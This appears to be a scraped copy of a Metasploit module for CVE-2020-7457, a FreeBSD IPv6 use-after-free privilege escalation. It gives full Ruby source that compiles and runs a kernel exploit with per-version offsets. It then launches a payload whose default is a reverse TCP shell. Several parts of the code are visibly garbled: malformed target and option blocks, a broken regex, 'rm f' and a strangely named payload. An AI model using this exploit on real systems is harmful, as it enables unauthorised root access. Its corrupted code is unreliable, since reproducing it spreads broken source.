

FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation

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This Metasploit module exploits a race and use-after-free vulnerability in the FreeBSD kernel IPv6 socket handling. A missing synchronization lock in the IPV6_2292PKTOPTIONS option handling in setsockopt permits racing ip6_setpktopt access to a freed ip6_pktopts struct. This exploit overwrites the ip6po_pktinfo pointer of a ip6_pktopts struct in freed memory to achieve arbitrary kernel read/write.

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Post::File
  include Msf::Post::Unix
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'FreeBSD ip6_setpktopt Use-After-Free Privilege Escalation',
        'Description' => %q{
          This module exploits a race and use-after-free vulnerability in the
          FreeBSD kernel IPv6 socket handling. A missing synchronization lock
          in the 'IPV6_2292PKTOPTIONS' option handling in 'setsockopt' permits
          racing 'ip6_setpktopt' access to a freed 'ip6_pktopts' struct.

          This exploit overwrites the 'ip6po_pktinfo' pointer of a 'ip6_pktopts'
          struct in freed memory to achieve arbitrary kernel read/write.

          This module has been tested successfully on:

          FreeBSD 9.0-RELEASE #0 (amd64);
          FreeBSD 9.1-RELEASE #0 r243825 (amd64);
          FreeBSD 9.2-RELEASE #0 r255898 (amd64);
          FreeBSD 9.3-RELEASE #0 r268512 (amd64);
          FreeBSD 12.0-RELEASE r341666 (amd64); and
          FreeBSD 12.1-RELEASE r354233 (amd64).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Andy Nguyen', # @theflow0 - discovery and exploit
          'bcoles' # metasploit
        ],
        'DisclosureDate' => '2020-07-07',
        'Platform' => ['bsd'], # FreeBSD
        'Arch' => [ARCH_X64],
        'SessionTypes' => ['shell'],
        'References' => [
          [
            ['CVE', '2020-7457'],
            ['EDB', '48644'],
            ['PACKETSTORM', '158341'],
            ['URL', 'https://hackerone.com/reports/826026'],
            ['URL', 'https://bsdsec.net/articles/freebsd-announce-freebsd-security-advisory-freebsd-sa-20-20-
ip6v6'],
            ['URL', 'https://www.freebsd.org/security/patches/SA-20:20/ipv6.patch'],
            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_var.h'],
            ['URL', 'https://github.com/freebsd/freebsd/blob/master/sys/netinet6/ip6_output.c']
          ],
        ],
        'Targets' => [
          [
            {
              'Automatic',
              {}
            },
          ],
          [
            {
              'FreeBSD 9.0-RELEASE #0',
              {
                allproc: '0xf01e40'
              }
            },
          ],
          [
            {
              'FreeBSD 9.1-RELEASE #0 r243825',
              {
                allproc: '0x1028880'
              }
            },
          ],
          [
            {
              'FreeBSD 9.2-RELEASE #0 r255898',
              {
                allproc: '0x11c9ba0'
              }
            },
          ],
          [
            {
              'FreeBSD 9.3-RELEASE #0 r268512',
              {
                allproc: '0x1295800'
              }
            },
          ],
          [
            {
              'FreeBSD 12.0-RELEASE r341666',
              {
                allproc: '0x1df3c38'
              }
            },
          ],
          [
            {
              'FreeBSD 12.1-RELEASE r354233',
              {
                allproc: '0x1df7648'
              }
            },
          ],
        ],
        'DefaultOptions' => [
          {
            'PAYLOAD' => 'bad/x64/shell_reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 10
          },
        ],
        'Notes' => [
          {
            'Stability' => [CRASH_OS_RESTARTS],
            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
          },
          {
            'DefaultTarget' => 0
          }
        ],
      )
    )
    register_advanced_options({
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OptInt.new('NUM_SPRAY', [true, 'Spray iterations', 256]),
OptInt.new('NUM_SPRAY_RACE', [true, 'Race iterations', 32]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def base_dir
  datastore['WritableDir'].to_s
end

def upload(path, data)
  print_status("Writing '#{path}' (#{data.size} bytes) ...")
  rm f(path)
  write_file(path, data)
  register_file_for_cleanup(path)
end

def strip_comments(c_code)
  c_code.gsub(%r(/\s*\s*\s*/m, ''').gsub(%r(^s*/.*$), ''')
end

def select_target(kernel_version)
  targets.each do |t|
    return t if kernel_version.include?(t.name)
  end
  nil
end

def check
  kernel_version = cmd_exec('uname -v').to_s

  unless kernel_version.include?('FreeBSD')
    return CheckCode::Safe('Target system is not FreeBSD')
  end

  kernel_arch = cmd_exec('uname -m').to_s

  unless kernel_arch.include?('64')
    return CheckCode::Safe("System architecture #{kernel_arch} is not supported")
  end

  vprint_good("System architecture #{kernel_arch} is supported")

  unless select_target(kernel_version)
    return CheckCode::Safe("No target for #{kernel_version}")
  end

  vprint_good("#{kernel_version} appears vulnerable")

  unless command_exists?('cc')
    return CheckCode::Safe('cc is not installed')
  end

  vprint_good('cc is installed')

  CheckCode::Appears
end

def exploit
  if is_root?
    unless datastore['ForceExploit']
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end
  end

  unless writable?(base_dir)
    fail_with(Failure::BadConfig, "#{base_dir} is not writable")
  end

  if target.name == 'Automatic'
    kernel_version = cmd_exec('uname -v').to_s
    my_target = select_target(kernel_version)
    unless my_target
      fail_with(Failure::NoTarget, "No target for #{kernel_version}")
    end
  else
    my_target = target
  end

  print_status("Using target: #{my_target.name} - allproc offset: #{my_target[:allproc]}")

  exploit_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"
  exploit_data = exploit_data('CVE-2020-7457', 'exploit.c')

  if my_target.name.start_with?('FreeBSD 12')
    exploit_data.gsub!('/\s*\s*\s*/m, ''').gsub(%r(^s*/.*$), ''')
  end

  exploit_data.gsub!(/#define ALLPROC_OFFSET .*$/, "#define ALLPROC_OFFSET #{my_target[:allproc]}")

  exploit_data.gsub!(/#define NUM_SPRAY 0x100/, "#define NUM_SPRAY #{datastore['NUM_SPRAY']}")
  exploit_data.gsub!(/#define NUM_QUEUES 0x100/, "#define NUM_QUEUES #{datastore['NUM_SPRAY']}")
  exploit_data.gsub!(/#define NUM_SPRAY_RACE 0x20/, "#define NUM_SPRAY_RACE #{datastore['NUM_SPRAY_RACE']}")

  upload("#{exploit_path}.c", strip_comments(exploit_data))

  print_status("Compiling #{exploit_path}.c ...")
  output = cmd_exec("cc '#{exploit_path}.c' -o '#{exploit_path}' -std=c99 -lpthread")
  register_file_for_cleanup(exploit_path)

  unless output.blank?
    print_error(output)
    fail_with(Failure::Unknown, " #{exploit_path}.c failed to compile")
  end

  payload_path = "#{base_dir}/#{rand_text_alphanumeric(5..10)}"

  upload_and_chmodx(payload_path, generate_payload_exe)
  register_file_for_cleanup(payload_path)

  timeout = 30
  print_status("Launching exploit (timeout: #{timeout}s) ...")
  output = cmd_exec(exploit_path, nil, timeout).to_s
  output.each_line { |line| vprint_status line.chomp }

  sleep(3)

  print_status(cmd_exec('id').to_s)

  unless is_root?
    fail_with(Failure::Unknown, 'Exploit completed without elevating privileges')
  end

  print_good('Success! Executing payload...')

  cmd_exec("#{payload_path} & echo ")

end
end
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